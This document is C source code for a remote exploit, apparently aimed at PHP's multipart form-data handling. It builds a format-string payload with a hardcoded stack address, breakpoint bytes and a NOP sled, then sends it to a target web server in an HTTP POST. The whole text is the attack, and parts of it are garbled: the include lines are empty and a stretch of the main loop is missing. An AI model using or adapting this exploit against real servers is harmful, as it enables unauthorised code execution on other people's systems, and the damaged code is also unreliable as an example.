#include #include #include #include #include #include #define BSIZE 1549 #define BUFFERZONE 128 int main(int argc, char *argv[]) { int i,start,count; int stackloc=0xBFFFDA60; int s; FILE *f; fd_set rfds; struct hostent *he; struct sockaddr_in saddr; char sploit[BSIZE]; char file[]="/tmp/BADPHP"; char c; if(argc!=5) { printf("%s \n",argv[0]); printf("offset=0 for most systems.\n"); return 0; } /*** build exploit string ***/ /* write bad format string, adding in offset */ snprintf(sploit,sizeof(sploit), "Content-Type:multipart/form-data %%%uX%%X%%X%%hn", 55817 /*+offset0,1,2,3*/ ); /* fill with breakpoints and nops*/ start=strlen(sploit); memset(sploit+start,0xCC,BSIZE-start); memset(sploit+start+BUFFERZONE*4,0x90,BUFFERZONE*4); sploit[BSIZE-1]=0; /* pointer to start of code (stackloc+4) */ count=BUFFERZONE; for(i=0;ih_addr_list[0],sizeof(struct in_addr)); if(connect(s,(struct sockaddr *)&saddr,sizeof(saddr))!=0) { printf("couldn't connect.\n"); return 0; } /* fdopen the socket to use stream functions */ f=fdopen(s,"w"); if(f==NULL) { close(s); printf("couldn't fdopen socket.\n"); return 0; } /* put the post request to the socket */ fprintf(f,"POST %s HTTP/1.0\n",argv[4]); fputs(sploit,f); fputc('\n',f); fputc('\n',f); fflush(f); /* close the socket */ fclose(f); close(s); return 0; }